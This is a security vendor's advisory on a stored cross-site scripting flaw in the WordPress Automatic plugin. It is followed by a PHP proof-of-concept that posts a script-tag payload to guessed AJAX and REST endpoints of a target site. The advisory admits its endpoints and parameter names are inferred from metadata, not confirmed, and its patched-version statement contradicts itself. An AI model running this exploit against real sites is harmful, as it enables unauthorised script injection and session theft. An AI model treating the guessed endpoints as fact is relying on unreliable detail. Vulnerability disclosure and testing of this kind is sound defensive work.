Atomic Edge analysis of CVE-2026-56045 (metadata-based): This vulnerability is an unauthenticated stored cross-site scripting (XSS) flaw in the WordPress Automatic Plugin (slug: wp-automatic) affecting versions up to 3.135.1. The CVSS vector (AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N) indicates network-based exploitation with low complexity, no authentication required, and no user interaction needed for the initial injection. The impact is limited to low confidentiality and integrity compromise, but the scope change (S:C) means the injected script can affect resources beyond the vulnerable component.
Root Cause: Based on the CWE-79 classification and description, the root cause is insufficient input sanitization and output escaping. The plugin likely processes user-supplied data through an AJAX handler or REST API endpoint without proper validation, then stores it in the WordPress database (e.g., as post meta, options, or custom table entries). The stored data is later rendered on a page without escaping, allowing arbitrary HTML and JavaScript execution. Atomic Edge analysis infers that the vulnerability exists in a publicly accessible endpoint, as no authentication is required. The plugin’s “Automatic” functionality for content importing or campaign management likely exposes an unauthenticated endpoint for data submission. This is inferred from the CWE type and the plugin’s documented features; no source code diff was available for confirmation.
Exploitation: An unauthenticated attacker sends a POST request to a vulnerable endpoint, such as `/wp-admin/admin-ajax.php?action=wp_automatic_*` or a custom REST route like `/wp-json/wp-automatic/v1/campaign`. The request includes a parameter (e.g., `campaign_name`, `feed_url`, or `content`) containing a malicious payload like `alert(document.cookie)` or an encoded variant. Because the plugin does not sanitize the input and does not escape the output when rendering the stored data, any administrator or user who views the page (such as the campaign management dashboard or an exported page) will execute the script. The attacker’s payload can steal session cookies, perform actions on behalf of the victim, or redirect to phishing sites.
Remediation: The fix should implement input sanitization using WordPress functions like `sanitize_text_field()` or `wp_kses_post()` for the specific input fields. Additionally, output escaping using `esc_html()` or `wp_kses()` must be applied when rendering stored data. The plugin should also add capability checks (e.g., `current_user_can()`) and nonce verification to all AJAX handlers and REST endpoints. The advisory lists the patched version as 3.135.1, which may be incorrect (the same as vulnerable), but the publisher should update to 3.135.2 or a later patched version.
Impact: Successful exploitation allows an unauthenticated attacker to execute arbitrary JavaScript in the context of any user who views affected pages. This can lead to session hijacking, defacement, redirection to malicious sites, or forced actions within the WordPress admin interface if the victim is an administrator. The scope change (S:C) means the attacker can potentially access sensitive data from other applications on the same origin. Given the low complexity and no authentication requirement, this vulnerability represents a significant risk to all sites running the vulnerable plugin version.
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-56045 - WordPress Automatic Plugin < 3.135.1 - Unauthenticated Stored Cross-Site Scripting
// Configuration
$target_url = 'http://example.com'; // Change this to the target WordPress site URL
// Endpoints commonly used by the plugin (inferred from plugin slug and common WordPress patterns)
// The plugin registers AJAX actions like 'wp_automatic_add_campaign' or uses REST API
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
$rest_url = $target_url . '/wp-json/wp-automatic/v1/campaign';
// XSS payload stored in a field that will be rendered without escaping
$xss_payload = '<script>alert("XSS by Atomic Edge");</script>';
// Option 1: Attempt via AJAX (most common for WordPress plugins)
echo "[+] Attempting AJAX-based injection at: $ajax_urln";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array(
'action' => 'wp_automatic_add_campaign', // Inferred action name; adjust if different
'campaign_name' => $xss_payload,
'nonce' => '', // No nonce required for unauthenticated access
)));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Type: application/x-www-form-urlencoded'));
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($http_code == 200) {
echo "[+] AJAX request succeeded. Response: $responsen";
echo "[!] Check the plugin's campaign management page for stored XSS execution.n";
} else {
echo "[-] AJAX request failed with HTTP code $http_code. Trying REST endpoint...n";
}
// Option 2: Attempt via REST API (if plugin exposes a REST route)
echo "[+] Attempting REST API injection at: $rest_urln";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $rest_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode(array(
'campaign' => array(
'name' => $xss_payload,
'source_url' => 'http://example.com'
)
)));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
'Content-Type: application/json',
'X-WP-Nonce: ' // No nonce for unauthenticated
));
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($http_code == 200 || $http_code == 201) {
echo "[+] REST API injection succeeded. Response: $responsen";
echo "[!] Verify by accessing the campaign listing page with a browser.n";
} else {
echo "[-] REST API request failed with HTTP code $http_code.n";
echo "[*] Note: The exact endpoint and parameter names may vary. This PoC is based on inferred patterns.n";
}
